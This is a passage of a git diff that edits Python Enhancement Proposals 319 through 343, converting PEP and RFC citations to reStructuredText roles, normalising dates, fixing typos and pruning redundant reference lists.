Copyright ========= diff --git a/pep-0319.txt b/pep-0319.txt index 927e9dfc892..1c257cabe4b 100644 --- a/pep-0319.txt +++ b/pep-0319.txt @@ -7,7 +7,7 @@ Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 24-Feb-2003 -Python-Version: 2.4? +Python-Version: 2.4 Post-History: @@ -20,7 +20,7 @@ and 'asynchronize'. Pronouncement ============= -This PEP is rejected in favor of PEP 343. +This PEP is rejected in favor of :pep:`343`. The 'synchronize' Keyword The concept of code synchronization in Python is too low-level. @@ -375,7 +375,8 @@ Backward Compatibility ====================== Backward compatibility is solved with the new ``from __future__`` -Python syntax [2]_, and the new warning framework [3]_ to evolve the +Python syntax (:pep:`236`), and the new warning framework (:pep:`230`) +to evolve the Python language into phasing out any conflicting names that use the new keywords 'synchronize' and 'asynchronize'. To use the syntax now, a developer could use the statement:: @@ -393,7 +394,7 @@ an exception. PEP 310 Reliable Acquisition/Release Pairs ========================================== -PEP 310 [4]_ proposes the 'with' keyword that can serve the same +:pep:`310` proposes the 'with' keyword that can serve the same function as 'synchronize' (but no facility for 'asynchronize'). The pattern:: @@ -407,7 +408,7 @@ is equivalent to the proposed:: synchronize the_lock: change_shared_data() -PEP 310 must synchronize on an existing lock, while this PEP +:pep:`310` must synchronize on an existing lock, while this PEP proposes that unqualified 'synchronize' statements synchronize on a global, internal, transparent lock in addition to qualified 'synchronize' statements. The 'with' statement also requires lock @@ -489,15 +490,6 @@ References .. [1] The Python Language Reference http://docs.python.org/reference/ -.. [2] PEP 236, Back to the __future__, Peters - http://www.python.org/dev/peps/pep-0236/ - -.. [3] PEP 230, Warning Framework, van Rossum - http://www.python.org/dev/peps/pep-0230/ - -.. [4] PEP 310, Reliable Acquisition/Release Pairs, Hudson, Moore - http://www.python.org/dev/peps/pep-0310/ - Copyright ========= diff --git a/pep-0320.txt b/pep-0320.txt index f46bd47bb0b..76de30c7e62 100644 --- a/pep-0320.txt +++ b/pep-0320.txt @@ -8,7 +8,7 @@ Type: Informational Content-Type: text/x-rst Created: 29-Jul-2003 Python-Version: 2.4 -Post-History: 1-Dec-2004 +Post-History: 01-Dec-2004 Abstract @@ -53,19 +53,19 @@ Release Schedule Completed features for 2.4 ========================== -- PEP 218 Builtin Set Objects. +- :pep:`218` Builtin Set Objects. -- PEP 289 Generator expressions. +- :pep:`289` Generator expressions. -- PEP 292 Simpler String Substitutions to be implemented as a module. +- :pep:`292` Simpler String Substitutions to be implemented as a module. -- PEP 318: Function/method decorator syntax, using @syntax +- :pep:`318`: Function/method decorator syntax, using @syntax -- PEP 322 Reverse Iteration. +- :pep:`322` Reverse Iteration. -- PEP 327: A Decimal package for fixed precision arithmetic. +- :pep:`327`: A Decimal package for fixed precision arithmetic. -- PEP 328: Multi-line Imports +- :pep:`328`: Multi-line Imports - Encapsulate the decorate-sort-undecorate pattern in a keyword for ``list.sort()``. @@ -85,10 +85,10 @@ Completed features for 2.4 Deferred until 2.5 ================== -- Deprecate and/or remove the modules listed in PEP 4 (``posixfile``, +- Deprecate and/or remove the modules listed in :pep:`4` (``posixfile``, ``gopherlib``, ``pre``, ``others``) -- Remove support for platforms as described in PEP 11. +- Remove support for platforms as described in :pep:`11`. - Finish implementing the Distutils ``bdist_dpkg`` command. (AMK) @@ -161,7 +161,7 @@ Carryover features from Python 2.3 widgets in Tk 8.4? Note that we've got better Tix support already (though not on Windows yet). -- PEP 304 (Controlling Generation of Bytecode Files by Montanaro) +- :pep:`304` (Controlling Generation of Bytecode Files by Montanaro) seems to have lost steam. - For a class defined inside another class, the ``__name__`` should be @@ -182,22 +182,22 @@ Carryover features from Python 2.3 covered yet (e.g. ``string.whitespace`` and ``types.TracebackType``). It seems we can't get consensus on this. -- PEP 262 Database of Installed Python Packages (Kuchling) +- :pep:`262` Database of Installed Python Packages (Kuchling) This turns out to be useful for Jack Jansen's Python installer, so the database is worth implementing. Code will go in sandbox/pep262. -- PEP 269 Pgen Module for Python (Riehl) +- :pep:`269` Pgen Module for Python (Riehl) (Some necessary changes are in; the ``pgen`` module itself needs to mature more.) -- PEP 266 Optimizing Global Variable/Attribute Access (Montanaro) +- :pep:`266` Optimizing Global Variable/Attribute Access (Montanaro) - PEP 267 Optimized Access to Module Namespaces (Hylton) + :pep:`267` Optimized Access to Module Namespaces (Hylton) - PEP 280 Optimizing access to globals (van Rossum) + :pep:`280` Optimizing access to globals (van Rossum) These are basically three friendly competing proposals. Jeremy has made a little progress with a new compiler, but it's going @@ -208,7 +208,7 @@ Carryover features from Python 2.3 - Lazily tracking tuples? [6]_ [7]_ Not much enthusiasm I believe. -- PEP 286 Enhanced Argument Tuples (von Loewis) +- :pep:`286` Enhanced Argument Tuples (von Loewis) I haven't had the time to review this thoroughly. It seems a deep optimization hack (also makes better correctness guarantees diff --git a/pep-0321.txt b/pep-0321.txt index 6ff32db886d..28199dde539 100644 --- a/pep-0321.txt +++ b/pep-0321.txt @@ -35,7 +35,7 @@ Input Formats Useful formats to support include: * `ISO8601`_ -* ARPA/`RFC2822`_ +* ARPA/:rfc:`2822` * `ctime`_ * Formats commonly written by humans such as the American "MM/DD/YYYY", the European "YYYY/MM/DD", and variants such as @@ -92,7 +92,7 @@ Output Formats Not all input formats need to be supported as output formats, because it's pretty trivial to get the ``strftime()`` argument right for simple things -such as YYYY/MM/DD. Only complicated formats need to be supported; RFC2822 +such as YYYY/MM/DD. Only complicated formats need to be supported; :rfc:`2822` is currently the only one I can think of. Options: @@ -117,8 +117,6 @@ http://simon.incutio.com/archive/2003/10/07/dateInPython) References ========== -.. _RFC2822: http://rfc2822.x42.com - .. _ISO8601: http://www.cl.cam.ac.uk/~mgk25/iso-time.html .. _ParseDate.pm: http://search.cpan.org/author/MUIR/Time-modules-2003.0211/lib/Time/ParseDate.pm diff --git a/pep-0323.txt b/pep-0323.txt index 632146be835..41c8d0c1f58 100644 --- a/pep-0323.txt +++ b/pep-0323.txt @@ -252,7 +252,7 @@ iterkeys, itervalues, and iteritems of built-in type dict. Iterators produced by generator functions will not be copyable. However, iterators produced by the new "generator expressions" of -Python 2.4 (PEP 289 [3]_) should be copyable if their underlying +Python 2.4 (:pep:`289`) should be copyable if their underlying ``iterator[s]`` are; the strict limitations on what is possible in a generator expression, compared to the much vaster generality of a generator, should make that feasible. Similarly, the iterators @@ -481,8 +481,6 @@ References .. [2] Online documentation for the copy module of the standard library: http://docs.python.org/library/copy.html -.. [3] PEP 289, Generator Expressions, Hettinger - http://www.python.org/dev/peps/pep-0289/ Copyright ========= diff --git a/pep-0325.txt b/pep-0325.txt index 7dcb2132b25..5bdf8cc78e6 100644 --- a/pep-0325.txt +++ b/pep-0325.txt @@ -31,7 +31,7 @@ generators. Pronouncement ============= -Rejected in favor of PEP 342 which includes substantially all of +Rejected in favor of :pep:`342` which includes substantially all of the requested behavior in a more refined form. @@ -128,7 +128,7 @@ with such semantics that the example could be rewritten as:: finally: all.close() # close on generator -Currently PEP 255 [1]_ disallows yield inside a try clause of a +Currently :pep:`255` disallows yield inside a try clause of a try-finally statement, because the execution of the finally clause cannot be guaranteed as required by try-finally semantics. @@ -264,24 +264,14 @@ clauses has been proposed more than once. Alone it cannot guarantee that timely release of resources acquired by a generator can be enforced. -PEP 288 [2]_ proposes a more general solution, allowing custom +:pep:`288` proposes a more general solution, allowing custom exception passing to generators. The proposal in this PEP -addresses more directly the problem of resource release. Were PEP -288 implemented, Exceptions Semantics for close could be layered -on top of it, on the other hand PEP 288 should make a separate +addresses more directly the problem of resource release. Were +:pep:`288` implemented, Exceptions Semantics for close could be layered +on top of it, on the other hand :pep:`288` should make a separate case for the more general functionality. -References -========== - -.. [1] PEP 255 Simple Generators - http://www.python.org/dev/peps/pep-0255/ - -.. [2] PEP 288 Generators Attributes and Exceptions - http://www.python.org/dev/peps/pep-0288/ - - Copyright ========= diff --git a/pep-0326.txt b/pep-0326.txt index 63445c1a1e3..0549eae73b1 100644 --- a/pep-0326.txt +++ b/pep-0326.txt @@ -16,7 +16,7 @@ Results ======= This PEP has been rejected by the BDFL [12]_. As per the -pseudo-sunset clause [13]_, PEP 326 is being updated one last time +pseudo-sunset clause [13]_, :pep:`326` is being updated one last time with the latest suggestions, code modifications, etc., and includes a link to a module [14]_ that implements the behavior described in the PEP. Users who desire the behavior listed in this PEP are encouraged @@ -508,7 +508,7 @@ Changes - Added some `References`_. -- BDFL rejects [12]_ PEP 326 +- BDFL rejects [12]_ :pep:`326` Copyright diff --git a/pep-0327.txt b/pep-0327.txt index 7ca5584fbac..17c63de1b25 100644 --- a/pep-0327.txt +++ b/pep-0327.txt @@ -137,7 +137,7 @@ Quoting Alex Martelli: truly major use case in the real world. Anyway, if you're interested in this data type, you maybe will want to -take a look at PEP 239: Adding a Rational Type to Python. +take a look at :pep:`239`: Adding a Rational Type to Python. So, what do we have? diff --git a/pep-0328.txt b/pep-0328.txt index c90d074c6c6..c2d4d28ab07 100644 --- a/pep-0328.txt +++ b/pep-0328.txt @@ -7,8 +7,8 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 21-Dec-2003 -Python-Version: 2.4, 2,5, 2.6 -Post-History: 8-Mar-2004 +Python-Version: 2.4, 2.5, 2.6 +Post-History: 08-Mar-2004 Abstract diff --git a/pep-0329.txt b/pep-0329.txt index 50d76f47940..8c5e7e1b987 100644 --- a/pep-0329.txt +++ b/pep-0329.txt @@ -124,7 +124,7 @@ Questions and Answers values that never change? No, this has long been known. Skip Montanaro provides an eloquent - explanation in [1]_. + explanation in :pep:`266`. 7. What if I want to replace the builtins module and supply my own implementations? @@ -255,9 +255,6 @@ The final code should add a flag to make it easy to disable binding. References ========== -.. [1] Optimizing Global Variable/Attribute Access - http://www.python.org/dev/peps/pep-0266/ - .. [2] ASPN Recipe for a non-private implementation http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/277940 diff --git a/pep-0330.txt b/pep-0330.txt index d377bbfed9a..dc5c116daf2 100644 --- a/pep-0330.txt +++ b/pep-0330.txt @@ -7,7 +7,7 @@ Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 17-Jun-2004 -Python-Version: 2.6? +Python-Version: 2.6 Post-History: diff --git a/pep-0331.txt b/pep-0331.txt index 002b34000c0..4b1ffc990c6 100644 --- a/pep-0331.txt +++ b/pep-0331.txt @@ -172,9 +172,6 @@ Löwis on 2004-06-08, as stated in the bug report. References ========== -.. [1] PEP 1, PEP Purpose and Guidelines, Warsaw, Hylton - http://www.python.org/dev/peps/pep-0001/ - .. [2] Python locale documentation for embedding, http://docs.python.org/library/locale.html diff --git a/pep-0333.txt b/pep-0333.txt index 37583fb9dec..d0c6e837791 100644 --- a/pep-0333.txt +++ b/pep-0333.txt @@ -3,7 +3,7 @@ Title: Python Web Server Gateway Interface v1.0 Version: $Revision$ Last-Modified: $Date$ Author: Phillip J. Eby -Discussions-To: Python Web-SIG +Discussions-To: web-sig@python.org Status: Final Type: Informational Content-Type: text/x-rst @@ -17,7 +17,7 @@ Preface Note: For an updated version of this spec that supports Python 3.x and includes community errata, addenda, and clarifications, please -see PEP 3333 instead. +see :pep:`3333` instead. Abstract @@ -477,7 +477,7 @@ If the iterable returned by the application has a ``close()`` method, the server or gateway **must** call that method upon completion of the current request, whether the request was completed normally, or terminated early due to an error (this is to support resource release -by the application). This protocol is intended to complement PEP 325's +by the application). This protocol is intended to complement :pep:`325`'s generator support, and other common iterables with ``close()`` methods. (Note: the application **must** invoke the ``start_response()`` @@ -492,7 +492,7 @@ attributes of the iterable returned by the application, unless it is an instance of a type specific to that server or gateway, such as a "file wrapper" returned by ``wsgi.file_wrapper`` (see `Optional Platform-Specific File Handling`_). In the general case, only -attributes specified here, or accessed via e.g. the PEP 234 iteration +attributes specified here, or accessed via e.g. the :pep:`234` iteration APIs are acceptable. @@ -560,7 +560,7 @@ unless their value would be an empty string, in which case they A server or gateway **should** attempt to provide as many other CGI variables as are applicable. In addition, if SSL is in use, the server or gateway **should** also provide as many of the Apache SSL environment -variables [5]_ as are applicable, such as ``HTTPS=on`` and +variables [3]_ as are applicable, such as ``HTTPS=on`` and ``SSL_PROTOCOL``. Note, however, that an application that uses any CGI variables other than the ones listed above are necessarily non-portable to web servers that do not support the relevant extensions. (For @@ -713,7 +713,7 @@ The ``status`` argument is an HTTP "status" string like ``"200 OK"`` or ``"404 Not Found"``. That is, it is a string consisting of a Status-Code and a Reason-Phrase, in that order and separated by a single space, with no surrounding whitespace or other characters. -(See RFC 2616, Section 6.1.1 for more information.) The string +(See :rfc:`2616`, Section 6.1.1 for more information.) The string **must not** contain control characters, and must not be terminated with a carriage return, linefeed, or combination thereof. @@ -721,7 +721,7 @@ The ``response_headers`` argument is a list of ``(header_name, header_value)`` tuples. It must be a Python list; i.e. ``type(response_headers) is ListType``, and the server **may** change its contents in any way it desires. Each ``header_name`` must be a -valid HTTP header field-name (as defined by RFC 2616, Section 4.2), +valid HTTP header field-name (as defined by :rfc:`2616`, Section 4.2), without a trailing colon or other punctuation. Each ``header_value`` **must not** include *any* control characters, @@ -832,12 +832,13 @@ whose ``len()`` is 1, then the server can automatically determine ``Content-Length`` by taking the length of the first string yielded by the iterable. -And, if the server and client both support HTTP/1.1 "chunked -encoding" [3]_, then the server **may** use chunked encoding to send +And, if the server and client both support HTTP/1.1 +:rfc:`"chunked encoding"<2616#section-3.6.1>`, +then the server **may** use chunked encoding to send a chunk for each ``write()`` call or string yielded by the iterable, thus generating a ``Content-Length`` header for each chunk. This allows the server to keep the client connection alive, if it wishes -to do so. Note that the server **must** comply fully with RFC 2616 +to do so. Note that the server **must** comply fully with :rfc:`2616` when doing this, or else fall back to one of the other strategies for dealing with the absence of ``Content-Length``. @@ -984,8 +985,8 @@ strings, not Unicode objects. The result of using a Unicode object where a string object is required, is undefined. Note also that strings passed to ``start_response()`` as a status or -as response headers **must** follow RFC 2616 with respect to encoding. -That is, they must either be ISO-8859-1 characters, or use RFC 2047 +as response headers **must** follow :rfc:`2616` with respect to encoding. +That is, they must either be ISO-8859-1 characters, or use :rfc:`2047` MIME encoding. On Python platforms where the ``str`` or ``StringType`` type is in @@ -1086,8 +1087,8 @@ may be done in any of several ways: Note that these behavior restrictions do not apply for HTTP 1.0 requests, or for requests that are not directed to an application -object. For more information on HTTP 1.1 Expect/Continue, see RFC -2616, sections 8.2.3 and 10.1.1. +object. For more information on HTTP 1.1 Expect/Continue, see +:rfc:`2616`, sections 8.2.3 and 10.1.1. Other HTTP Features @@ -1100,13 +1101,14 @@ response. It is always possible for the application developer to add middleware components to supply additional features, so server/gateway developers should be conservative in their implementation. In a sense, a server should consider itself to be like an HTTP "gateway server", -with the application being an HTTP "origin server". (See RFC 2616, +with the application being an HTTP "origin server". (See :rfc:`2616`, section 1.3, for the definition of these terms.) However, because WSGI servers and applications do not communicate via -HTTP, what RFC 2616 calls "hop-by-hop" headers do not apply to WSGI +HTTP, what :rfc:`2616` calls "hop-by-hop" headers do not apply to WSGI internal communications. WSGI applications **must not** generate any -"hop-by-hop" headers [4]_, attempt to use HTTP features that would +:rfc:`"hop-by-hop" headers <2616#section-13.5.1>`, +attempt to use HTTP features that would require them to generate such headers, or rely on the content of any incoming "hop-by-hop" headers in the ``environ`` dictionary. WSGI servers **must** handle any supported inbound "hop-by-hop" headers @@ -1302,7 +1304,7 @@ simply restrict themselves to using only a standard "for" loop to iterate over any iterable returned by an application. This is the only way to ensure source-level compatibility with both the pre-2.2 iterator protocol (discussed further below) and "today's" iterator -protocol (see PEP 234). +protocol (see :pep:`234`). (Note that this technique necessarily applies only to servers, gateways, or middleware that are written in Python. Discussion of @@ -1479,7 +1481,7 @@ Questions and Answers iterable is garbage collected. The ``close()`` idiom allows an application to release critical resources at the end of a request, and it's forward-compatible with the support for try/finally in - generators that's proposed by PEP 325. + generators that's proposed by :pep:`325`. 4. Why is this interface so low-level? I want feature X! (e.g. cookies, sessions, persistence, ...) @@ -1636,15 +1638,9 @@ References (http://www.python.org/cgi-bin/moinmoin/WebProgramming) .. [2] The Common Gateway Interface Specification, v 1.1, 3rd Draft - (http://ken.coar.org/cgi/draft-coar-cgi-v11-03.txt) + (https://datatracker.ietf.org/doc/html/draft-coar-cgi-v11-03) -.. [3] "Chunked Transfer Coding" -- HTTP/1.1, section 3.6.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.6.1) - -.. [4] "End-to-end and Hop-by-hop Headers" -- HTTP/1.1, Section 13.5.1 - (http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1) - -.. [5] mod_ssl Reference, "Environment Variables" +.. [3] mod_ssl Reference, "Environment Variables" (http://www.modssl.org/docs/2.8/ssl_reference.html#ToC25) diff --git a/pep-0334.txt b/pep-0334.txt index 0fcd2e914af..519924a6c9b 100644 --- a/pep-0334.txt +++ b/pep-0334.txt @@ -25,7 +25,7 @@ help the application developer grapple with this state management difficulty. This PEP proposes a limited approach to coroutines based on an -extension to the iterator protocol [5]_. Currently, an iterator may +extension to the :pep:`iterator protocol <234>`. Currently, an iterator may raise a StopIteration exception to indicate that it is done producing values. This proposal adds another exception to this protocol, SuspendIteration, which indicates that the given iterator may have @@ -62,7 +62,7 @@ portable across runtimes. There are four places where this new exception impacts: -* The simple generator [8]_ mechanism could be extended to safely +* The :pep:`255` simple generator mechanism could be extended to safely 'catch' this SuspendIteration exception, stuff away its current state, and pass the exception on to the caller. @@ -381,18 +381,12 @@ References .. [4] Coroutines (http://c2.com/cgi/wiki?CallWithCurrentContinuation) -.. [5] PEP 234, Iterators - (http://www.python.org/dev/peps/pep-0234/) - .. [6] Stackless Python (http://stackless.com) .. [7] Parrot /w coroutines (http://www.sidhe.org/~dan/blog/archives/000178.html) -.. [8] PEP 255, Simple Generators - (http://www.python.org/dev/peps/pep-0255/) - .. [9] itertools - Functions creating iterators (http://docs.python.org/library/itertools.html) diff --git a/pep-0337.txt b/pep-0337.txt index 0f05b69ffb5..8c431d6aafd 100644 --- a/pep-0337.txt +++ b/pep-0337.txt @@ -14,7 +14,7 @@ Post-History: 10-Nov-2004 Abstract ======== -This PEP defines a standard for using the logging system (PEP 282 [1]_) in the +This PEP defines a standard for using the logging system (:pep:`282`) in the standard library. Implementing this PEP will simplify development of daemon @@ -186,9 +186,6 @@ name "dummy.junk". References ========== -.. [1] PEP 282, A Logging System, Vinay Sajip, Trent Mick - http://www.python.org/dev/peps/pep-0282/ - .. [2] https://mail.python.org/pipermail/python-dev/2004-October/049282.html diff --git a/pep-0338.txt b/pep-0338.txt index 678b94e6ba3..81a665541de 100644 --- a/pep-0338.txt +++ b/pep-0338.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 16-Oct-2004 Python-Version: 2.5 -Post-History: 8-Nov-2004, 11-Feb-2006, 12-Feb-2006, 18-Feb-2006 +Post-History: 08-Nov-2004, 11-Feb-2006, 12-Feb-2006, 18-Feb-2006 Abstract @@ -19,7 +19,7 @@ script, either with the ``-m`` command line switch, or by invoking it via ``runpy.run_module(modulename)``. The ``-m`` switch implemented in Python 2.4 is quite limited. This -PEP proposes making use of the PEP 302 [4]_ import hooks to allow any +PEP proposes making use of the :pep:`302` import hooks to allow any module which provides access to its code object to be executed. Rationale @@ -68,7 +68,7 @@ mechanisms (such as ``zipimport``). Prior discussions suggest it should be noted that this PEP is **not** about changing the idiom for making Python modules also useful as -scripts (see PEP 299 [1]_). That issue is considered orthogonal to the +scripts (see :pep:`299`). That issue is considered orthogonal to the specific feature addressed by this PEP. Current Behaviour @@ -98,7 +98,7 @@ Proposed Semantics ================== The semantics proposed are fairly simple: if ``-m`` is used to execute -a module the PEP 302 import mechanisms are used to locate the module and +a module the :pep:`302` import mechanisms are used to locate the module and retrieve its compiled code, before executing the module in accordance with the semantics for a top-level module. The interpreter does this by invoking a new standard library function ``runpy.run_module``. @@ -109,7 +109,7 @@ variable during initialisation. In addition, paths may be affected by ``*.pth`` files, and some packages will install custom loaders on ``sys.metapath``. Accordingly, the only way for Python to reliably locate the module is by importing the containing package and -using the PEP 302 import hooks to gain access to the Python code. +using the :pep:`302` import hooks to gain access to the Python code. Note that the process of locating the module to be executed may require importing the containing package. The effects of such a package import @@ -140,7 +140,7 @@ The delegation has the form:: Execute the code of the specified module and return the resulting module globals dictionary. The module's code is first located using - the standard import mechanism (refer to PEP 302 for details) and + the standard import mechanism (refer to :pep:`302` for details) and then executed in a fresh module namespace. The optional dictionary argument ``init_globals`` may be used to @@ -156,7 +156,7 @@ The delegation has the form:: ``__name__`` is set to ``run_name`` if this optional argument is supplied, and the original ``mod_name`` argument otherwise. - ``__loader__`` is set to the PEP 302 module loader used to retrieve + ``__loader__`` is set to the :pep:`302` module loader used to retrieve the code for the module (This loader may be a wrapper around the standard import mechanism). @@ -184,7 +184,7 @@ Import Statements and the Main Module ===================================== The release of 2.5b1 showed a surprising (although obvious in -retrospect) interaction between this PEP and PEP 328 - explicit +retrospect) interaction between this PEP and :pep:`328` - explicit relative imports don't work from a main module. This is due to the fact that relative imports rely on ``__name__`` to determine the current module's position in the package hierarchy. In a main @@ -229,7 +229,7 @@ Here's an example file layout:: So long as the current directory is ``devel``, or ``devel`` is already on ``sys.path`` and the test modules use absolute imports (such as -``import pkg moduleA`` to retrieve the module under test, PEP 338 +``import pkg moduleA`` to retrieve the module under test, :pep:`338` allows the tests to be run as:: python -m pkg.test.test_A @@ -276,7 +276,7 @@ Python script with this behaviour can be found in the discussion of the ``execmodule`` cookbook recipe [3]_. The ``execmodule`` cookbook recipe itself was the proposed mechanism in -an earlier version of this PEP (before the PEP's author read PEP 302). +an earlier version of this PEP (before the PEP's author read :pep:`302`). Both approaches were rejected as they do not meet the main goal of the ``-m`` switch -- to allow the full Python namespace to be used to @@ -305,19 +305,13 @@ actual search for the module, and releases it before execution, even if References ========== -.. [1] Special __main__() function in modules - (http://www.python.org/dev/peps/pep-0299/) - -.. [2] PEP 338 implementation (runpy module and ``-m`` update) +.. [2] :pep:`338` implementation (runpy module and ``-m`` update) (https://bugs.python.org/issue1429601) .. [3] execmodule Python Cookbook Recipe (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/307772) -.. [4] New import hooks - (http://www.python.org/dev/peps/pep-0302/) - -.. [5] PEP 338 documentation (for runpy module) +.. [5] :pep:`338` documentation (for runpy module) (https://bugs.python.org/issue1429605) Copyright diff --git a/pep-0339.txt b/pep-0339.txt index eefa01ad29c..18e97d023d7 100644 --- a/pep-0339.txt +++ b/pep-0339.txt @@ -83,7 +83,7 @@ To tie all of this example, consider the rule for 'while':: The node representing this will have ``TYPE(node) == while_stmt`` and the number of children can be 4 or 7 depending on if there is an 'else' statement. To access what should be the first ':' and require it be an -actual ':' token, `(REQ(CHILD(node, 2), COLON)``. +actual ':' token, ``(REQ(CHILD(node, 2), COLON)``. Abstract Syntax Trees (AST) @@ -564,7 +564,7 @@ References .. _SPARK: http://pages.cpsc.ucalgary.ca/~aycock/spark/ .. [#skip-peephole] Skip Montanaro's Peephole Optimizer Paper - (http://www.foretec.com/python/workshops/1998-11/proceedings/papers/montanaro/montanaro.html) + (https://legacy.python.org/workshops/1998-11/proceedings/papers/montanaro/montanaro.html) .. [#Bytecodehacks] Bytecodehacks Project (http://bytecodehacks.sourceforge.net/bch-docs/bch/index.html) diff --git a/pep-0340.txt b/pep-0340.txt index b75fdc06f2d..770def06cdb 100644 --- a/pep-0340.txt +++ b/pep-0340.txt @@ -17,9 +17,9 @@ used for resource management purposes. The new statement type is provisionally called the block-statement because the keyword to be used has not yet been chosen. -This PEP competes with several other PEPs: PEP 288 (Generators -Attributes and Exceptions; only the second part), PEP 310 -(Reliable Acquisition/Release Pairs), and PEP 325 +This PEP competes with several other PEPs: :pep:`288` (Generators +Attributes and Exceptions; only the second part), :pep:`310` +(Reliable Acquisition/Release Pairs), and :pep:`325` (Resource-Release Support for Generators). I should clarify that using a generator to "drive" a block @@ -30,14 +30,14 @@ turned into a template). But the key idea is using a generator to drive a block statement; the rest is elaboration, so I'd like to keep these two parts together. -(PEP 342, Enhanced Iterators, was originally a part of this PEP; +(:pep:`342`, Enhanced Iterators, was originally a part of this PEP; but the two proposals are really independent and with Steven Bethard's help I have moved it to a separate PEP.) Rejection Notice ================ -I am rejecting this PEP in favor of PEP 343. See the motivational +I am rejecting this PEP in favor of :pep:`343`. See the motivational section in that PEP for the reasoning behind this rejection. GvR. Motivation and Summary @@ -62,7 +62,7 @@ controlled code more than once (or not at all), catch exceptions, or receive data from the body of the block statement. A convenient way to write block iterators is to write a generator -(PEP 255). A generator looks a lot like a Python function, but +(:pep:`255`). A generator looks a lot like a Python function, but instead of returning a value immediately, generators pause their execution at "yield" statements. When a generator is used as a block iterator, the yield statement tells the Python interpreter @@ -115,7 +115,7 @@ assigned are still evaluated!). The choice of the 'block' keyword is contentious; many alternatives have been proposed, including not to use a keyword at -all (which I actually like). PEP 310 uses 'with' for similar +all (which I actually like). :pep:`310` uses 'with' for similar semantics, but I would like to reserve that for a with-statement similar to the one found in Pascal and VB. (Though I just found that the C# designers don't like 'with' [2]_, and I have to agree @@ -270,7 +270,7 @@ Alternatives Considered and Rejected an entirely different API than the for-loop, to differentiate between the two. A generator would have to be wrapped in a decorator to make it support the block API. IMO this adds more - complexity with very little benefit; and we can't relly deny + complexity with very little benefit; and we can't really deny that the block-statement is conceptually a loop -- it supports break and continue, after all. @@ -380,7 +380,7 @@ there a use for that capability here?" I believe there are definitely uses for this; several people have already shown how to do asynchronous light-weight threads using -generators (e.g. David Mertz quoted in PEP 288, and Fredrik +generators (e.g. David Mertz quoted in :pep:`288`, and Fredrik Lundh [3]_). And finally, Greg says: "a thunk implementation has the potential @@ -398,7 +398,7 @@ that defeats the purpose of using thunks in the first place.) Examples ======== -(Several of these examples contain "yield None". If PEP 342 is +(Several of these examples contain "yield None". If :pep:`342` is accepted, these can be changed to just "yield" of course.) 1. A template for ensuring that a lock, acquired at the start of a @@ -461,7 +461,7 @@ accepted, these can be changed to just "yield" of course.) Used as follows:: block auto_retry(3, IOError): - f = urllib.urlopen("http://www.python.org/dev/peps/pep-0340/") + f = urllib.urlopen("https://www.example.com/") print f.read() 5. It is possible to nest blocks and combine templates:: diff --git a/pep-0342.txt b/pep-0342.txt index 0c9763d6c2e..4570a1bd1af 100644 --- a/pep-0342.txt +++ b/pep-0342.txt @@ -19,13 +19,13 @@ make them usable as simple coroutines. It is basically a combination of ideas from these two PEPs, which may be considered redundant if this PEP is accepted: -- PEP 288, Generators Attributes and Exceptions. The current PEP covers its +- :pep:`288`, Generators Attributes and Exceptions. The current PEP covers its second half, generator exceptions (in fact the ``throw()`` method name was - taken from PEP 288). PEP 342 replaces generator attributes, however, with a - concept from an earlier revision of PEP 288, the *yield expression*. + taken from :pep:`288`). :pep:`342` replaces generator attributes, however, with a + concept from an earlier revision of :pep:`288`, the *yield expression*. -- PEP 325, Resource-Release Support for Generators. PEP 342 ties up a few - loose ends in the PEP 325 spec, to make it suitable for actual +- :pep:`325`, Resource-Release Support for Generators. :pep:`342` ties up a few + loose ends in the :pep:`325` spec, to make it suitable for actual implementation. @@ -314,7 +314,7 @@ the generator should be released whenever its execution is terminated due to an error or normal exit. This will ensure that generators that cannot be resumed do not remain part of an uncollectable reference cycle. This allows other code to potentially use ``close()`` in a ``try/finally`` or ``with`` -block (per PEP 343) to ensure that a given generator is properly finalized. +block (per :pep:`343`) to ensure that a given generator is properly finalized. Optional Extensions @@ -324,7 +324,7 @@ The Extended ``continue`` Statement ----------------------------------- An earlier draft of this PEP proposed a new ``continue EXPR`` syntax for use -in for-loops (carried over from PEP 340), that would pass the value of +in for-loops (carried over from :pep:`340`), that would pass the value of *EXPR* into the iterator being looped over. This feature has been withdrawn for the time being, because the scope of this PEP has been narrowed to focus only on passing values into generator-iterators, and not other kinds of @@ -344,7 +344,7 @@ reflects this preferred resolution. I originally chose ``TypeError`` because it represents gross misbehavior of the generator function, which should be fixed by changing the code. But the - ``with_template`` decorator class in PEP 343 uses ``RuntimeError`` for + ``with_template`` decorator class in :pep:`343` uses ``RuntimeError`` for similar offenses. Arguably they should all use the same exception. I'd rather not introduce a new exception class just for this purpose, since it's not an exception that I want people to catch: I want it to turn into a @@ -579,11 +579,11 @@ This patch was committed to CVS 01-02 August 2005. Acknowledgements ================ -Raymond Hettinger (PEP 288) and Samuele Pedroni (PEP 325) first formally +Raymond Hettinger (:pep:`288`) and Samuele Pedroni (:pep:`325`) first formally proposed the ideas of communicating values or exceptions into generators, and the ability to *close* generators. Timothy Delaney suggested the title of this PEP, and Steven Bethard helped edit a previous version. See also the -Acknowledgements section of PEP 340. +Acknowledgements section of :pep:`340`. References diff --git a/pep-0343.txt b/pep-0343.txt index 787173cd2dc..a4047285af1 100644 --- a/pep-0343.txt +++ b/pep-0343.txt @@ -8,7 +8,8 @@ Type: Standards Track Content-Type: text/x-rst Created: 13-May-2005 Python-Version: 2.5 -Post-History: 2-Jun-2005, 16-Oct-2005, 29-Oct-2005, 23-Apr-2006, 1-May-2006, 30-Jul-2006 +Post-History: 02-Jun-2005, 16-Oct-2005, 29-Oct-2005, 23-Apr-2006, 01-May-2006, + 30-Jul-2006 Abstract ======== @@ -40,8 +41,8 @@ originally in the future are now in the past :) Introduction ============ -After a lot of discussion about PEP 340 and alternatives, I -decided to withdraw PEP 340 and proposed a slight variant on PEP +After a lot of discussion about :pep:`340` and alternatives, I +decided to withdraw :pep:`340` and proposed a slight variant on PEP 310. After more discussion, I have added back a mechanism for raising an exception in a suspended generator using a ``throw()`` method, and a ``close()`` method which throws a new GeneratorExit @@ -52,10 +53,10 @@ exception; these additions were first proposed on python-dev in After acceptance of this PEP, the following PEPs were rejected due to overlap: -- PEP 310, Reliable 